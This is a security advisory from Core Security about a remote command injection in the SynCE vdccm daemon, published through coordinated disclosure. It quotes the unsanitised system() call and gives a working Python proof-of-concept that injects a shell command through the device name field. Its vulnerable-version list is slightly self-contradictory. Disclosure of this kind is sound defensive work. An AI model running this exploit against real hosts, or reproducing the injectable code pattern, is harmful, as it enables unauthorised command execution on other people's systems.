SynCE Remote Command Injection

SynCE Remote Command Injection

SynCE Remote Command Injection


Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/

Advisory Information

Title: SynCE Remote Command Injection
Advisory ID:  CORE-2007-1106
Advisory URL: http://www.coresecurity.com/?action=item&id=2070
Date published: 2008-01-07
Date of last update: 2008-01-03
Vendors contacted: SynCE team
Release mode: Coordinated release

Vulnerability Information

Class: Input validation error
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 27178
CVE Name:N/A

Vulnerability Description

SynCE is an open source project, whose objective is to provide a way of communicating with a Windows CE or Pocket PC device, from a computer running Linux, *BSD or other unices. For more information see  http://www.synce.org/

The vdccm daemon (part of the SynCE package) is vulnerable to a remote command injection, which can be exploited by malicious remote attackers. The vulnerability is due to the vdccm daemon not properly sanitizing certain input before using it to invoke external scripts. This can be exploited to execute arbitrary commands with the privileges of the vdccm daemon by sending specially crafted requests.

Vulnerable packages

  • Synce-dccm since version 0.92 and earlier.
  • Synce-dccm since version 0.92

    Non-vulnerable packages

      • Synce-dccm 0.91 and earlier.
      • SynCE-dccm 0.10.1

        Vendor Information, Solutions and Workarounds

        This vulnerability has been fixed in SynCE-dccm 0.10.1, available in http://sourceforge.net/projects/synce/.

        Credits

        This vulnerability was discovered and researched by Alfredo Ortega and Oren Isacson from Core Security Technologies.

        Technical Description / Proof of Concept Code

        The vdccm daemon listens on port 5679 for incoming connections from a Windows CE device.

        • The command injection exist on the name of the connected device. The code at src/utils.cpp, function  Utils::runScripts  contains the following code:
           
          string command = string(path) + " " + action + " " + deviceName;
          system(command.c_str());
          


          The contents of the string variable “deviceName” is controlled by the attacker.
          The next python proof of concept script will remotely create an empty file named “/tmp/vulnerability” when used on a FreeBSD host running the vulnerable daemon.

          import socket, struct
          import time
          def AtoWChar(string):
              return ''.join([x+chr(0) for x in string])
          
          HOST = '192.168.XXX.XXX'
          PORT = 5679
          c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          c.connect((HOST, PORT))
          buf="\x00"*0x18
          buf+='\x30\x00\x00\x00'
          buf+='\x30\x00\x00\x00'
          buf+='\x30\x00\x00\x00'
          buf+="\x00"*12
          string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")
          buf+=string+"\x00\x00"+"\x00"*12
          c.send(struct.pack("L",63+len(string))+buf+"\x00" )
          


          NOTE: for this proof of concept to work, a script file is needed on the “$home$/.synce/scripts” directory. Some linux distributions ship with scripts on this directory by default.

          Report Timeline

          • 2007-11-12: Core notifies the SynCE team of the vulnerability.
          • 2007-11-13: Technical details sent by Core to SynCE team.
          • 2007-11-22: SynCE notifies Core that a fix has been produced, and will be released in the next SynCE official release.
          • 2007-12-20: SynCE releases version 0.10.1, which fixes this vulnerability.
          • 2008-01-07: CORE-2007-1106 advisory is published.

          References

          http://synce.sourceforge.net/synce/dccm.php
          http://synce.sourceforge.net/synce/architecture.php

          About Corelabs

          CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
          We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.
          CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/

          About Core Security Technologies

          Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

          DISCLAIMER

          The contents of this advisory are copyright (c) 2008 CORE Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

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